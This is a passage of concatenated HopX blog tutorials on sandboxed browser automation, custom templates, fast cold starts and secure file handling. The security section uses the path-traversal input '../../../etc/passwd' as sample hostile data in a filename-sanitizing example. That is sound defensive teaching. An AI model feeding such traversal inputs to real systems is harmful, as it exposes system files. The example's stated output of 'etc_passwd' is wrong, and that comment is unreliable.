{"name": "Alice Johnson", "email": "alice@example.com", "role": "Developer"},
{"name": "Bob Smith", "email": "bob@example.com", "role": "Designer"},
{"name": "Carol White", "email": "carol@example.com", "role": "Manager"},
]
sandbox = Sandbox.create(template="desktop")
rpa_script = '''
import asyncio
from playwright.async_api import async_playwright
import json
async def enter_records(records):
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
page = await browser.new_page()
await page.goto('https://hr-portal.example.com/employees')
for record in records:
# Click "Add Employee" button
await page.click('#add-employee')
await page.wait_for_selector('#employee-form')
# Fill form
await page.fill('#name', record['name'])
await page.fill('#email', record['email'])
await page.select_option('#role', record['role'])
# Submit
await page.click('#submit-employee')
await page.wait_for_selector('.success-toast')
print(f"Added: {record['name']}")
await browser.close()
records = ''' + json.dumps(records) + '''
asyncio.run(enter_records(records))
'''
sandbox.files.write("/app/data_entry.py", rpa_script)
result = sandbox.commands.run("cd /app && python data_entry.py")
print(result.stdout)
```
## Browser Testing for CI/CD
HopX sandboxes are ideal for running end-to-end tests in your CI/CD pipeline:
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="desktop")
# Write test file
test_script = '''
import pytest
import asyncio
from playwright.async_api import async_playwright
class TestHomepage:
@pytest.fixture(scope="class")
def browser(self):
async def get_browser():
p = await async_playwright().start()
browser = await p.chromium.launch(headless=True)
yield browser
await browser.close()
await p.stop()
return asyncio.get_event_loop().run_until_complete(get_browser())
def test_homepage_loads(self, browser):
async def check():
page = await browser.new_page()
response = await page.goto('https://hopx.ai')
assert response.status == 200
await page.close()
asyncio.get_event_loop().run_until_complete(check())
def test_title_correct(self, browser):
async def check():
page = await browser.new_page()
await page.goto('https://hopx.ai')
title = await page.title()
assert 'HopX' in title
await page.close()
asyncio.get_event_loop().run_until_complete(check())
def test_navigation_works(self, browser):
async def check():
page = await browser.new_page()
await page.goto('https://hopx.ai')
await page.click('a[href="/docs"]')
await page.wait_for_url('**/docs**')
assert '/docs' in page.url
await page.close()
asyncio.get_event_loop().run_until_complete(check())
'''
sandbox.files.write("/app/test_homepage.py", test_script)
result = sandbox.commands.run("cd /app && pytest test_homepage.py -v")
print(result.stdout)
```
## Handling Authentication & Sessions
For RPA tasks requiring authentication, use persistent browser contexts:
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="desktop")
auth_script = '''
import asyncio
from playwright.async_api import async_playwright
async def authenticated_session():
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
# Create persistent context with storage
context = await browser.new_context(
storage_state=None # Start fresh
)
page = await context.new_page()
# Login
await page.goto('https://app.example.com/login')
await page.fill('#email', 'user@example.com')
await page.fill('#password', 'password123')
await page.click('#login')
# Wait for login to complete
await page.wait_for_url('**/dashboard**')
# Save authentication state
await context.storage_state(path='/tmp/auth_state.json')
print("Authentication state saved!")
# Now you can reuse this state in future sessions
await browser.close()
asyncio.run(authenticated_session())
'''
sandbox.files.write("/app/auth.py", auth_script)
result = sandbox.commands.run("cd /app && python auth.py")
print(result.stdout)
# Later, use the saved state
reuse_script = '''
import asyncio
from playwright.async_api import async_playwright
async def reuse_session():
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
# Reuse saved authentication
context = await browser.new_context(
storage_state='/tmp/auth_state.json'
)
page = await context.new_page()
await page.goto('https://app.example.com/dashboard')
# Already logged in!
print(f"Current page: {page.url}")
await browser.close()
asyncio.run(reuse_session())
'''
sandbox.files.write("/app/reuse.py", reuse_script)
result = sandbox.commands.run("cd /app && python reuse.py")
print(result.stdout)
```
## Best Practices
### 1. Always Use Headless Mode in Production
```python
browser = await p.chromium.launch(
headless=True,
args=['--no-sandbox', '--disable-dev-shm-usage']
)
```
### 2. Implement Proper Timeouts
```python
page.set_default_timeout(30000) # 30 seconds
await page.wait_for_selector('.element', timeout=10000)
```
### 3. Handle Errors Gracefully
```python
try:
await page.click('#button')
except playwright.TimeoutError:
print("Button not found, taking screenshot for debugging")
await page.screenshot(path='/tmp/error.png')
```
### 4. Clean Up Resources
```python
sandbox = Sandbox.create(template="desktop")
try:
# ... automation code ...
finally:
sandbox.kill() # Always clean up
```
### 5. Use Retry Logic for Flaky Operations
```python
async def retry_click(page, selector, max_retries=3):
for attempt in range(max_retries):
try:
await page.click(selector)
return True
except Exception as e:
if attempt == max_retries - 1:
raise
await asyncio.sleep(1)
```
## Performance Tips
1. **Reuse sandbox sessions** for multiple operations when possible
2. **Disable images and CSS** for faster scraping:
```python
await page.route('**/*.{png,jpg,jpeg,gif,css}', lambda route: route.abort())
```
3. **Use `page.wait_for_load_state('networkidle')`** to ensure page is fully loaded
4. **Parallel execution** with multiple sandboxes for independent tasks
## Conclusion
HopX sandboxes provide the perfect environment for browser automation and RPA:
- **Isolated** - Each automation runs in its own secure VM
- **Scalable** - Run hundreds of browsers in parallel
- **Consistent** - Same environment every time
- **Secure** - No risk to your local machine
Start automating with HopX today and scale your browser automation to new levels.
## Resources
- [HopX Documentation](https://hopx.ai/docs)
- [Playwright Documentation](https://playwright.dev/python/)
- [Get Started with HopX](https://hopx.ai/docs/getting-started)
---
## Custom Templates: Pre-bake Your Perfect Environment
URL: https://hopx.ai/blog/tutorials/custom-templates-pre-bake-your-environment/
Category: Tutorials
Published: 2025-11-22
# Custom Templates: Pre-bake Your Perfect Environment
Every time you create a sandbox, you need specific tools, libraries, and configurations. Installing them on each run wastes time and resources. Custom templates solve this by pre-baking everything into a reusable image.
This guide shows you how to create, build, and use custom templates that start in milliseconds with everything ready.
## Why Custom Templates?
**Without custom templates:**
- Install dependencies every sandbox creation
- Download packages from the internet repeatedly
- Configure tools each time
- Cold start: 30+ seconds
**With custom templates:**
- All dependencies pre-installed
- Configuration already applied
- Files and data included
- Cold start: ~100ms
## Template Basics
A HopX template is essentially a Docker image optimized for sandbox execution. You define what goes into the template, and HopX handles the rest.
### Available Base Templates
HopX provides these base templates:
| Template | Description | Use Case |
|----------|-------------|----------|
| `code-interpreter` | Python 3.13 with scientific packages | Data analysis, AI/ML |
| `desktop` | Full desktop with browsers | Browser automation, RPA |
| `node` | Node.js 20+ environment | JavaScript execution |
| `base` | Minimal Linux | Custom builds |
## Creating Your First Custom Template
### Method 1: Build from Dockerfile
The most flexible approach is using a Dockerfile:
```python
from hopx import Template
# Create template from Dockerfile
template = Template.build(
name="my-ml-template",
dockerfile="""
FROM python:3.13-slim
# Install system dependencies
RUN apt-get update && apt-get install -y \\
build-essential \\
git \\
curl \\
&& rm -rf /var/lib/apt/lists/*
# Install Python packages
RUN pip install --no-cache-dir \\
numpy==1.26.0 \\
pandas==2.1.0 \\
scikit-learn==1.3.0 \\
torch==2.1.0 \\
transformers==4.35.0 \\
matplotlib==3.8.0 \\
seaborn==0.13.0
# Set up working directory
WORKDIR /app
# Pre-download a model (optional but saves time)
RUN python -c "from transformers import AutoTokenizer; AutoTokenizer.from_pretrained('bert-base-uncased')"
"""
)
print(f"Template built: {template.name}")
print(f"Template ID: {template.id}")
```
### Method 2: Build from Base Image
Start from an existing image and add your customizations:
```python
from hopx import Template
template = Template.build(
name="data-science-template",
base_image="python:3.13-slim",
commands=[
"apt-get update && apt-get install -y build-essential",
"pip install numpy pandas scikit-learn matplotlib jupyter",
"mkdir -p /data /notebooks"
]
)
```
### Method 3: Extend HopX Templates
Build on top of existing HopX templates:
```python
from hopx import Template
# Extend the code-interpreter template
template = Template().from_code_interpreter_image("3.13")
template.add_commands([
"pip install openai anthropic langchain",
"pip install chromadb faiss-cpu"
])
template.build(name="ai-agent-template")
```
## Using Custom Templates
Once built, use your template just like built-in ones:
```python
from hopx import Sandbox
# Create sandbox from custom template
sandbox = Sandbox.create(template="my-ml-template")
# All packages are already installed!
result = sandbox.commands.run("""
python -c "
import torch
import transformers
print(f'PyTorch: {torch.__version__}')
print(f'Transformers: {transformers.__version__}')
print('GPU available:', torch.cuda.is_available())
"
""")
print(result.stdout)
```
## Advanced Template Patterns
### Adding Files and Data
Include files in your template:
```python
from hopx import Template
template = Template.build(
name="with-data-template",
dockerfile="""
FROM python:3.13-slim
WORKDIR /app
# Copy local files into the image
COPY requirements.txt .
RUN pip install -r requirements.txt
# Include data files
COPY data/ /data/
COPY config/ /config/
""",
context_files={
"requirements.txt": "numpy\npandas\nscikit-learn",
"data/sample.csv": "id,value\n1,100\n2,200",
"config/settings.json": '{"debug": false, "threads": 4}'
}
)
```
### Environment Variables
Set default environment variables:
```python
from hopx import Template
template = Template.build(
name="configured-template",
dockerfile="""
FROM python:3.13-slim
ENV PYTHONUNBUFFERED=1
ENV MODEL_PATH=/models
ENV LOG_LEVEL=INFO
# Your setup...
"""
)
# Variables are available in sandbox
sandbox = Sandbox.create(template="configured-template")
result = sandbox.commands.run("echo $MODEL_PATH")
print(result.stdout) # /models
```
### Multi-Stage Builds for Smaller Images
Keep images small by using multi-stage builds:
```python
from hopx import Template
template = Template.build(
name="optimized-template",
dockerfile="""
# Build stage - compile dependencies
FROM python:3.13 AS builder
RUN pip install --target=/deps numpy pandas scikit-learn
# Runtime stage - minimal image
FROM python:3.13-slim
COPY --from=builder /deps /usr/local/lib/python3.13/site-packages/
WORKDIR /app
"""
)
```
### Pre-trained Models
Include ML models in your template:
```python
from hopx import Template
template = Template.build(
name="llm-template",
dockerfile="""
FROM python:3.13-slim
RUN pip install transformers torch sentence-transformers
# Pre-download models during build
RUN python -c "
from sentence_transformers import SentenceTransformer
model = SentenceTransformer('all-MiniLM-L6-v2')
model.save('/models/all-MiniLM-L6-v2')
"
ENV MODEL_PATH=/models
"""
)
# Models are ready instantly
sandbox = Sandbox.create(template="llm-template")
result = sandbox.commands.run("""
python -c "
from sentence_transformers import SentenceTransformer
model = SentenceTransformer('/models/all-MiniLM-L6-v2')
embedding = model.encode('Hello world')
print(f'Embedding shape: {embedding.shape}')
"
""")
print(result.stdout)
```
## Template for Specific Frameworks
### LangChain Agent Template
```python
from hopx import Template
langchain_template = Template.build(
name="langchain-agent",
dockerfile="""
FROM python:3.13-slim
RUN pip install --no-cache-dir \\
langchain==0.1.0 \\
langchain-openai \\
langchain-community \\
chromadb \\
faiss-cpu \\
pypdf \\
tiktoken
WORKDIR /app
"""
)
```
### FastAPI Microservice Template
```python
from hopx import Template
fastapi_template = Template.build(
name="fastapi-service",
dockerfile="""
FROM python:3.13-slim
RUN pip install --no-cache-dir \\
fastapi \\
uvicorn[standard] \\
pydantic \\
httpx \\
python-multipart
WORKDIR /app
EXPOSE 8000
"""
)
```
### Data Pipeline Template
```python
from hopx import Template
pipeline_template = Template.build(
name="data-pipeline",
dockerfile="""
FROM python:3.13-slim
RUN apt-get update && apt-get install -y \\
postgresql-client \\
&& rm -rf /var/lib/apt/lists/*
RUN pip install --no-cache-dir \\
pandas \\
sqlalchemy \\
psycopg2-binary \\
pyarrow \\
duckdb \\
polars
WORKDIR /app
"""
)
```
## Template Management
### Listing Templates
```python
from hopx import Template
# List all templates
templates = Template.list()
for t in templates:
print(f"{t.name}: {t.id}")
```
### Updating Templates
When you need to update a template:
```python
from hopx import Template
# Rebuild with the same name
template = Template.build(
name="my-template", # Same name = update
dockerfile="""
FROM python:3.13-slim
# Updated dependencies
RUN pip install numpy==1.27.0 # New version
"""
)
```
### Deleting Templates
```python
from hopx import Template
Template.delete("old-template-name")
```
## Performance Optimization
### Minimize Image Layers
```dockerfile
# Bad - many layers
RUN apt-get update
RUN apt-get install -y curl
RUN apt-get install -y git
RUN rm -rf /var/lib/apt/lists/*
# Good - single layer
RUN apt-get update && apt-get install -y \
curl \
git \
&& rm -rf /var/lib/apt/lists/*
```
### Use .dockerignore
```python
template = Template.build(
name="my-template",
dockerfile="...",
context_files={...},
dockerignore="""
*.pyc
__pycache__
.git
.env
node_modules
"""
)
```
### Order Commands by Frequency of Change
```dockerfile
# Least likely to change first
FROM python:3.13-slim
RUN apt-get update && apt-get install -y build-essential
# More stable dependencies
RUN pip install numpy pandas
# Frequently changing dependencies last
RUN pip install my-custom-package==1.2.3
```
## Template Versioning
Use version tags for production templates:
```python
from hopx import Template
from datetime import datetime
version = datetime.now().strftime("%Y%m%d")
template = Template.build(
name=f"production-template-v{version}",
dockerfile="""..."""
)
# Keep track of versions
# production-template-v20251122
# production-template-v20251123
```
## Troubleshooting
### Build Failures
```python
try:
template = Template.build(name="test", dockerfile="...")
except BuildError as e:
print(f"Build failed: {e}")
print(f"Build logs: {e.logs}")
```
### Image Too Large
Check what's consuming space:
```dockerfile
# Add this to debug
RUN du -sh /* 2>/dev/null | sort -hr | head -20
```
### Missing Dependencies at Runtime
Verify installation during build:
```dockerfile
RUN pip install my-package && python -c "import my_package"
```
## Best Practices Summary
1. **Start minimal** - Only include what you need
2. **Version dependencies** - Pin specific versions
3. **Pre-download models** - Don't download at runtime
4. **Use multi-stage builds** - Keep final image small
5. **Test locally first** - Build and test before deploying
6. **Document your templates** - Add comments explaining choices
7. **Version templates** - Use tags for production
## Conclusion
Custom templates are the key to fast, reliable sandboxes. By pre-baking your environment:
- **Faster starts** - 100ms vs 30+ seconds
- **Consistent environments** - Same setup every time
- **Lower costs** - Less runtime computation
- **Better reliability** - No network dependency issues
Start building your custom templates today and transform your sandbox workflow.
## Resources
- [HopX Template Documentation](https://hopx.ai/docs/templates)
- [Dockerfile Best Practices](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/)
- [Python Docker Images](https://hub.docker.com/_/python)
---
## How HopX Achieves 100ms Cold Starts
URL: https://hopx.ai/blog/deep-dives/how-hopx-achieves-100ms-cold-starts/
Category: Deep Dives
Published: 2025-11-21
# How HopX Achieves 100ms Cold Starts
When developers hear "virtual machine," they think of slow boot times—30 seconds to minutes. Containers are faster but still take seconds. HopX sandboxes start in under 100 milliseconds.
This isn't marketing spin. It's the result of carefully designed infrastructure that prioritizes startup latency above all else. Here's how we do it.
## The Cold Start Problem
Cold start is the time between requesting a new execution environment and having it ready to run code. It's the enemy of responsive AI systems.
**Traditional cold start times:**
- Virtual Machines: 30-60 seconds
- Docker containers: 2-10 seconds
- AWS Lambda: 100ms - 5s (depending on runtime)
- Kubernetes pods: 5-30 seconds
For AI agents that need to spawn sandboxes dynamically, these numbers are unacceptable. An agent waiting 10 seconds to start code execution breaks the user experience.
## Our Target: Sub-100ms
We set an aggressive target: sandboxes must be ready in under 100 milliseconds. That's the threshold where latency becomes imperceptible to humans.
Achieving this required rethinking every layer of the stack.
## The Technology Stack
### 1. Firecracker Micro-VMs
At the core of HopX is [Firecracker](https://firecracker-microvm.github.io/), the virtualization technology developed by AWS for Lambda and Fargate.
**Why Firecracker?**
- Minimal VMM (Virtual Machine Monitor) - only essential devices
- Boots a minimal Linux kernel in ~125ms
- Memory footprint of ~5MB per VM
- Full hardware virtualization (not containers)
```
Traditional VM: Firecracker Micro-VM:
┌─────────────────────┐ ┌─────────────────────┐
│ Guest OS │ │ Minimal Guest │
│ (Full kernel) │ │ (Stripped kernel) │
├─────────────────────┤ ├─────────────────────┤
│ BIOS/UEFI │ │ Minimal Boot │
│ Device Models │ │ (No BIOS) │
├─────────────────────┤ ├─────────────────────┤
│ QEMU/KVM │ │ Firecracker │
│ (Complex VMM) │ │ (Minimal VMM) │
└─────────────────────┘ └─────────────────────┘
~30 seconds ~125ms
```
### 2. Memory Snapshots
Booting even a minimal kernel in 125ms isn't fast enough. We use memory snapshots to eliminate boot time entirely.
**How snapshots work:**
1. Boot a sandbox to a "ready" state
2. Capture complete memory state (snapshot)
3. Store snapshot on fast storage
4. Restore snapshot instead of booting
```
Cold boot path: Snapshot restore path:
BIOS → Kernel → Restore memory pages →
Init → Services → Resume execution
Ready (~125ms) (~15ms)
```
### 3. Copy-on-Write Memory
When restoring snapshots, we don't copy all memory upfront. We use copy-on-write (CoW) semantics:
1. Map snapshot pages as read-only
2. Only copy pages when written to
3. Most pages are never written
This means restore time is nearly instant—we're just setting up page table mappings.
```python
# Conceptual representation
class SnapshotRestore:
def restore(self, snapshot):
# Map pages read-only (microseconds)
for page in snapshot.pages:
self.map_readonly(page)
# Pages only copied when written (later)
# Most pages never copied at all
```
### 4. Pre-warmed Pool
For the fastest possible starts, we maintain a pool of pre-restored sandboxes:
```
Request → [Pre-warmed Pool] → Sandbox Ready
↓
~10ms (just hand off)
```
The pool automatically scales based on demand patterns:
- More capacity during peak hours
- Fewer standby sandboxes during low usage
- Machine learning predicts demand spikes
### 5. Optimized Rootfs
Our root filesystem images are optimized for fast loading:
**Traditional Linux rootfs:**
- Full package manager
- Documentation
- Multiple locales
- Development headers
- Size: 500MB - 2GB
**HopX rootfs:**
- Runtime-only binaries
- Single locale (C.UTF-8)
- No documentation
- Stripped binaries
- Size: 50MB - 200MB
Smaller images mean:
- Faster snapshot loading
- Less memory pressure
- More sandboxes per host
### 6. Minimal Kernel Configuration
We use a custom Linux kernel configuration optimized for our use case:
```
Disabled:
- USB support
- Sound
- Bluetooth
- Wireless
- Most filesystems (keep ext4)
- Unnecessary drivers
Enabled:
- virtio (fast virtual devices)
- KVM guest support
- Minimal TTY
- Network (virtio-net)
- Block devices (virtio-blk)
```
Result: Kernel boots faster, uses less memory, has smaller attack surface.
## The Complete Boot Path
Here's what happens when you call `Sandbox.create()`:
```
T+0ms: API receives request
T+2ms: Auth and rate limiting
T+5ms: Select host with capacity
T+8ms: Check pre-warmed pool
↓
If available:
T+10ms: Claim sandbox from pool
T+12ms: Configure networking
T+15ms: Return sandbox handle
↓
If pool empty:
T+10ms: Start snapshot restore
T+25ms: Memory mapping complete
T+30ms: Resume VM execution
T+35ms: Configure networking
T+40ms: Start user process
T+50ms: Ready for commands
```
**Total: 15-50ms** depending on pool availability.
## Benchmarks
We continuously measure cold start performance:
| Scenario | P50 | P95 | P99 |
|----------|-----|-----|-----|
| Pre-warmed pool | 12ms | 18ms | 25ms |
| Snapshot restore | 45ms | 62ms | 85ms |
| Cold boot (rare) | 130ms | 180ms | 250ms |
Compare to alternatives:
| Platform | Cold Start |
|----------|------------|
| HopX | 12-50ms |
| AWS Lambda (Python) | 200-1000ms |
| Google Cloud Run | 500-2000ms |
| Docker | 2000-5000ms |
| Traditional VM | 30000-60000ms |
## Optimizations We Tried (And Rejected)
Not every optimization makes sense. Here's what we tried but didn't adopt:
### WASM Instead of VMs
WebAssembly sandboxes start faster (~1ms) but:
- Limited to WASM-compiled code
- No system calls
- Can't run arbitrary Python/Node
- Weaker isolation than hardware virtualization
We chose VMs for flexibility and security.
### Container Pooling
Pre-creating containers seemed promising but:
- Security isolation weaker than VMs
- Container escape vulnerabilities exist
- Shared kernel attack surface
- Not suitable for untrusted code
### Unikernels
Single-purpose OS images boot incredibly fast but:
- Requires recompiling applications
- No standard tooling
- Debugging is difficult
- Not practical for general use
## Real-World Impact
Fast cold starts enable use cases that weren't possible before:
### AI Agents
An agent can spawn sandboxes mid-conversation without noticeable delay:
```python
# User asks: "Calculate the Fibonacci sequence"
# Agent decides to run code
sandbox = Sandbox.create(template="code-interpreter") # <50ms
result = sandbox.commands.run("python fib.py") # Code runs
# Total latency: imperceptible
# Agent responds with results
```
### Interactive Development
Code execution feels instant, like running locally:
```python
# Each cell execution creates fresh sandbox
for cell in notebook_cells:
sandbox = Sandbox.create() # Fast enough for interactive use
output = sandbox.commands.run(cell.code)
display(output)
sandbox.kill()
```
### Parallel Processing
Spawn hundreds of sandboxes without waiting:
```python
import asyncio
from hopx import Sandbox
async def process_item(item):
sandbox = await Sandbox.create_async() # Non-blocking
result = await sandbox.commands.run_async(f"process {item}")
await sandbox.kill_async()
return result
# Process 100 items in parallel
items = range(100)
results = await asyncio.gather(*[process_item(i) for i in items])
# All 100 sandboxes started within ~500ms total
```
## Future Improvements
We're continuously working on reducing latency further:
### Speculative Execution
Predict sandbox needs before requests arrive:
- Analyze request patterns
- Pre-warm specific templates
- Geographic pre-positioning
### Even Smaller Snapshots
Reduce snapshot size through:
- Memory deduplication
- Compression
- Differential snapshots
### Edge Deployment
Place sandboxes closer to users:
- Edge locations worldwide
- Sub-10ms network latency
- Local snapshot caches
## Conclusion
Achieving sub-100ms cold starts required innovation at every layer:
1. **Firecracker micro-VMs** for minimal overhead
2. **Memory snapshots** to skip boot entirely
3. **Copy-on-write restore** for instant page mapping
4. **Pre-warmed pools** for immediate availability
5. **Optimized rootfs** for smaller images
6. **Custom kernel** for faster boots
The result: sandboxes that feel instant, enabling new categories of applications that require on-demand isolated execution.
When latency drops below human perception thresholds, the technology becomes invisible. That's our goal—making sandboxes so fast you forget they're not local processes.
## Further Reading
- [Firecracker Design](https://github.com/firecracker-microvm/firecracker/blob/main/docs/design.md)
- [VM Snapshotting](https://www.usenix.org/conference/nsdi20/presentation/ustiugov)
- [The Cost of Virtualization](https://www.usenix.org/conference/atc17/technical-sessions/presentation/agache)
- [HopX Architecture Documentation](https://hopx.ai/docs/architecture)
---
## Secure File Operations in AI Sandboxes
URL: https://hopx.ai/blog/tutorials/secure-file-operations-in-ai-sandboxes/
Category: Tutorials
Published: 2025-11-20
# Secure File Operations in AI Sandboxes
AI agents often need to work with files—processing uploads, generating documents, analyzing data. Doing this securely requires careful handling. HopX sandboxes provide isolated file systems where agents can safely manipulate files without affecting your host system.
This guide covers everything you need to know about file operations in sandboxes.
## File System Overview
Each HopX sandbox has its own isolated filesystem:
```
/
├── app/ # Default working directory
├── tmp/ # Temporary files
├── home/ # User home directory
├── data/ # Data storage
└── ... # Standard Linux directories
```
Files in a sandbox:
- Are completely isolated from your host
- Persist only for the sandbox lifetime
- Can be uploaded to and downloaded from
- Support all standard file operations
## Basic File Operations
### Writing Files
Write content to a file in the sandbox:
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="code-interpreter")
# Write a text file
sandbox.files.write("/app/data.txt", "Hello, World!")
# Write binary content
with open("local_image.png", "rb") as f:
binary_data = f.read()
sandbox.files.write("/app/image.png", binary_data)
# Write Python code
code = '''
import pandas as pd
df = pd.DataFrame({'a': [1, 2, 3], 'b': [4, 5, 6]})
print(df.to_string())
'''
sandbox.files.write("/app/analysis.py", code)
```
### Reading Files
Read files from the sandbox:
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="code-interpreter")
# Execute code that creates a file
sandbox.commands.run("echo 'Generated content' > /app/output.txt")
# Read the file
content = sandbox.files.read("/app/output.txt")
print(content) # b'Generated content\n'
# Decode text files
text = sandbox.files.read("/app/output.txt").decode('utf-8')
print(text) # 'Generated content\n'
```
### Listing Files
List directory contents:
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="code-interpreter")
# Create some files
sandbox.commands.run("""
mkdir -p /app/data
echo 'file1' > /app/data/file1.txt
echo 'file2' > /app/data/file2.txt
echo 'file3' > /app/data/file3.csv
""")
# List directory
files = sandbox.files.list("/app/data")
for f in files:
print(f"{f.name} - {f.size} bytes - {'dir' if f.is_dir else 'file'}")
```
### Checking File Existence
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="code-interpreter")
# Check if file exists
exists = sandbox.files.exists("/app/myfile.txt")
print(f"File exists: {exists}")
# Check via command (alternative)
result = sandbox.commands.run("test -f /app/myfile.txt && echo 'yes' || echo 'no'")
print(result.stdout)
```
### Deleting Files
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="code-interpreter")
# Create and delete a file
sandbox.files.write("/app/temp.txt", "temporary content")
sandbox.files.delete("/app/temp.txt")
# Delete via command (for complex patterns)
sandbox.commands.run("rm -rf /app/cache/*")
```
## Uploading Files to Sandboxes
### Single File Upload
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="code-interpreter")
# Upload from local path
with open("dataset.csv", "rb") as f:
sandbox.files.write("/app/dataset.csv", f.read())
# Verify upload
result = sandbox.commands.run("head -5 /app/dataset.csv")
print(result.stdout)
```
### Multiple File Upload
```python
from hopx import Sandbox
import os
sandbox = Sandbox.create(template="code-interpreter")
# Upload entire directory
local_dir = "./project_files"
for root, dirs, files in os.walk(local_dir):
for filename in files:
local_path = os.path.join(root, filename)
# Preserve directory structure
relative_path = os.path.relpath(local_path, local_dir)
sandbox_path = f"/app/{relative_path}"
with open(local_path, "rb") as f:
sandbox.files.write(sandbox_path, f.read())
print(f"Uploaded: {relative_path}")
```
### Streaming Large Files
For large files, stream content instead of loading entirely into memory:
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="code-interpreter")
def upload_large_file(sandbox, local_path, sandbox_path, chunk_size=1024*1024):
"""Upload file in chunks"""
with open(local_path, "rb") as f:
# First chunk creates the file
chunk = f.read(chunk_size)
sandbox.files.write(sandbox_path, chunk)
# Subsequent chunks append
while True:
chunk = f.read(chunk_size)
if not chunk:
break
# Append mode via command
sandbox.commands.run(
f"cat >> {sandbox_path}",
stdin=chunk
)
upload_large_file(sandbox, "large_model.bin", "/app/model.bin")
```
## Downloading Files from Sandboxes
### Single File Download
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="code-interpreter")
# Generate a file in sandbox
sandbox.commands.run("""
python -c "
import matplotlib.pyplot as plt
import numpy as np
x = np.linspace(0, 10, 100)
plt.plot(x, np.sin(x))
plt.savefig('/app/plot.png')
"
""")
# Download the generated file
image_data = sandbox.files.read("/app/plot.png")
with open("downloaded_plot.png", "wb") as f:
f.write(image_data)
```
### Download with Metadata
```python
from hopx import Sandbox
import json
sandbox = Sandbox.create(template="code-interpreter")
# Get file info before downloading
info = sandbox.files.stat("/app/output.csv")
print(f"Size: {info.size} bytes")
print(f"Modified: {info.modified_at}")
# Download only if needed
if info.size > 0:
content = sandbox.files.read("/app/output.csv")
with open("output.csv", "wb") as f:
f.write(content)
```
### Download Directory as Archive
```python
from hopx import Sandbox
import io
import tarfile
sandbox = Sandbox.create(template="code-interpreter")
# Create archive in sandbox
sandbox.commands.run("tar czf /tmp/output.tar.gz -C /app output_dir/")
# Download archive
archive_data = sandbox.files.read("/tmp/output.tar.gz")
# Extract locally
with tarfile.open(fileobj=io.BytesIO(archive_data), mode='r:gz') as tar:
tar.extractall("./downloaded_output")
```
## Working with Data Files
### CSV Processing
```python
from hopx import Sandbox
import json
sandbox = Sandbox.create(template="code-interpreter")
# Upload CSV
csv_data = """name,age,city
Alice,30,New York
Bob,25,San Francisco
Carol,35,Chicago"""
sandbox.files.write("/app/people.csv", csv_data)
# Process with pandas
result = sandbox.commands.run("""
python -c "
import pandas as pd
import json
df = pd.read_csv('/app/people.csv')
# Analysis
stats = {
'count': len(df),
'avg_age': df['age'].mean(),
'cities': df['city'].unique().tolist()
}
print(json.dumps(stats))
"
""")
stats = json.loads(result.stdout)
print(f"Average age: {stats['avg_age']}")
```
### JSON Processing
```python
from hopx import Sandbox
import json
sandbox = Sandbox.create(template="code-interpreter")
# Upload complex JSON
data = {
"users": [
{"id": 1, "name": "Alice", "purchases": [100, 200, 150]},
{"id": 2, "name": "Bob", "purchases": [50, 75, 125]}
]
}
sandbox.files.write("/app/data.json", json.dumps(data))
# Process JSON
result = sandbox.commands.run("""
python -c "
import json
with open('/app/data.json') as f:
data = json.load(f)
# Calculate total purchases per user
for user in data['users']:
total = sum(user['purchases'])
print(f\"{user['name']}: \\${total}\")
"
""")
print(result.stdout)
```
### Excel Files
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="code-interpreter")
# Upload Excel file
with open("report.xlsx", "rb") as f:
sandbox.files.write("/app/report.xlsx", f.read())
# Process with openpyxl/pandas
result = sandbox.commands.run("""
python -c "
import pandas as pd
# Read all sheets
xlsx = pd.ExcelFile('/app/report.xlsx')
for sheet in xlsx.sheet_names:
df = pd.read_excel(xlsx, sheet_name=sheet)
print(f'Sheet: {sheet}, Rows: {len(df)}')
"
""")
print(result.stdout)
```
### Image Processing
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="code-interpreter")
# Upload image
with open("photo.jpg", "rb") as f:
sandbox.files.write("/app/photo.jpg", f.read())
# Process with Pillow
sandbox.commands.run("""
python -c "
from PIL import Image
img = Image.open('/app/photo.jpg')
print(f'Size: {img.size}')
print(f'Format: {img.format}')
# Resize
resized = img.resize((800, 600))
resized.save('/app/resized.jpg')
# Thumbnail
img.thumbnail((150, 150))
img.save('/app/thumbnail.jpg')
"
""")
# Download processed images
resized = sandbox.files.read("/app/resized.jpg")
thumbnail = sandbox.files.read("/app/thumbnail.jpg")
```
## Security Best Practices
### 1. Validate File Types
Always validate files before processing:
```python
import magic # python-magic library
def validate_upload(file_data, allowed_types):
"""Validate file type using magic numbers"""
mime = magic.from_buffer(file_data, mime=True)
if mime not in allowed_types:
raise ValueError(f"File type {mime} not allowed")
return mime
# Usage
ALLOWED_TYPES = ['image/jpeg', 'image/png', 'text/csv', 'application/pdf']
with open("upload.file", "rb") as f:
data = f.read()
file_type = validate_upload(data, ALLOWED_TYPES)
sandbox.files.write(f"/app/upload.{file_type.split('/')[1]}", data)
```
### 2. Limit File Sizes
Prevent resource exhaustion:
```python
MAX_FILE_SIZE = 100 * 1024 * 1024 # 100MB
def safe_upload(sandbox, file_path, sandbox_path):
"""Upload with size limit"""
import os
size = os.path.getsize(file_path)
if size > MAX_FILE_SIZE:
raise ValueError(f"File too large: {size} bytes (max: {MAX_FILE_SIZE})")
with open(file_path, "rb") as f:
sandbox.files.write(sandbox_path, f.read())
```
### 3. Sanitize Filenames
Prevent path traversal attacks:
```python
import os
import re
def sanitize_filename(filename):
"""Remove dangerous characters from filename"""
# Remove path components
filename = os.path.basename(filename)
# Remove dangerous characters
filename = re.sub(r'[^\w\-\.]', '_', filename)
# Prevent hidden files
filename = filename.lstrip('.')
# Limit length
if len(filename) > 255:
name, ext = os.path.splitext(filename)
filename = name[:255-len(ext)] + ext
return filename
# Usage
user_filename = "../../../etc/passwd"
safe_name = sanitize_filename(user_filename) # "etc_passwd"
sandbox.files.write(f"/app/uploads/{safe_name}", data)
```
### 4. Use Temporary Directories
Isolate file operations:
```python
from hopx import Sandbox
import uuid
